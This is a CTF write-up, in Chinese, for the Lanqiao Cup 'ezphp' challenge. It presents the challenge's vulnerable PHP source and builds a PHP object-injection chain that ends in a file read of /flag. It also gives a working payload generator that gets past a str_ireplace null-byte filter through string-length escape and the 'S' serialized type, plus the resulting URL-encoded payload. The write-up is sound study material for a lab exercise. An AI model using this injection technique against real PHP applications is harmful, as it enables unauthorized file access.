蓝桥杯CTF-ezphp-Wirteup

emm一道蛮有意思的反序列化,链子不长,很好构建,入口和出口都很好找,重点就是如何bypassstrstr_ireplace("\0","00",$ser),还有就是写了几个小时,特意写个wp记录一下image-20230603181156418

蓝桥杯CTF-ezphp-Wirteup

题目描述

在刚学习php开发的阶段,程序员们常常会忽略对用户输入数据的正确验证和过滤,这往往会给程序带来严重的安全隐患。因为未经验证和过滤的用户输入数据可能包含恶意代码或者非法字符,这些数据一旦被程序所接受并处理,就会导致程序出现各种漏洞。(ps:哈哈哈哈很蓝桥)

解题过程

0x01、构造反序列化POP链

下发容器,看了一下网页源码,看到底部存在提示header ?,bp抓包看了一下

image-20230603182704348

给了题目所在的目录admin3ecr3t.php,访问得到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $key;
public function readflag(){
if($this->key === "\0key\0"){
readfile('/flag');
}
}
}
class B{
public function __toString(){
return ($this->b)();
}
}
class C{
public $s;
public $str;
public function __construct($s){
$this->s = $s;
}
public function __destruct(){
echo $this->str;
}
}

$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);
?>

可以一眼就能看到我们需要的东西在classA

1
2
3
4
5
6
7
8
class A{
public $key;
public function readflag(){
if($this->key === "\0key\0"){
readfile('/flag');
}
}
}

满足条件key==="\0key\0"即可读取flag文件中的内容

往下看在class Bclass C中存在三个魔术方法分别是:

1
2
3
4
5
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

一开始就只想着构造反序列化POP链,仔细看了一下这个题貌似和反序列化没啥关系,只用触发__tostring()就行,所以思路就是:

  1. 创建一个 $key 对象,该对象的类是 A,并将 $key 对象的 key 属性设置为 \0key\0
  2. 创建一个名为 $f 的数组,该数组包含两个元素。第一个元素是对 $key 对象进行序列化和反序列化后得到的新对象,第二个元素是字符串 'readflag'
  3. 创建一个 $reflection 对象,该对象的类是 B,并将 $reflection 对象的 b 属性设置为 $f
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class A {
public $key;
public function readflag() {
if ($this->key === "\0key\0") {
readfile('/flag');
}
}
}

class B {
public $b;
public function __toString() {
return ($this->b)();
}
}

class C {
public $s;
public $str;
public function __construct($s) {
$this->s = $s;
}
public function __destruct() {
echo $this->str;
}
}

$key = new A();
$key->key = "\0key\0";
$f = array(unserialize(serialize($key)), 'readflag');
$reflection=new B();
$reflection->b=$f;

接下来只需要对$reflection序列化就可以触发__tostring,但题目到这儿才算刚刚开始,接下来是如何bypassstrstr_ireplace("\0","00",$ser)

0x02、bypassstrstr_ireplace("\0","00",$ser)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class A {
public $key;
public function readflag() {
if ($this->key === "\0key\0") {
readfile('/flag');
}
var_dump("abc");
}
}

class B {
public $b;
public function __toString() {
return ($this->b)();
}
}

class C {
public $s;
public $str;
public function __construct($s) {
$this->s = $s;
}
public function __destruct() {
echo $this->str;
}
}


$key = new A();
$key->key = "\\\0key\\\0";
$f = array(unserialize(serialize($key)), 'readflag');
$reflection=new B();
$reflection->b=$f;
$payload_str = '";s:3:"str";' . serialize($reflection) . ';}';
$obj_len = strlen($payload_str);
//echo "Length: " . $obj_len;
$add_str = "";
for ($i=0;$i<$obj_len;$i++) $add_str = $add_str . "\0";
//echo "<br>\n";
echo urlencode("1" . $add_str . str_replace('key";s:7:', 'key";S:5:', $payload_str));

//1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00"%3Bs%3A3%3A"str"%3BO%3A1%3A"B"%3A1%3A%7Bs%3A1%3A"b"%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A"A"%3A1%3A%7Bs%3A3%3A"key"%3BS%3A5%3A"%5C%00key%5C%00"%3B%7Di%3A1%3Bs%3A8%3A"readflag"%3B%7D%7D%3B%7D
?>

image-20230604015354743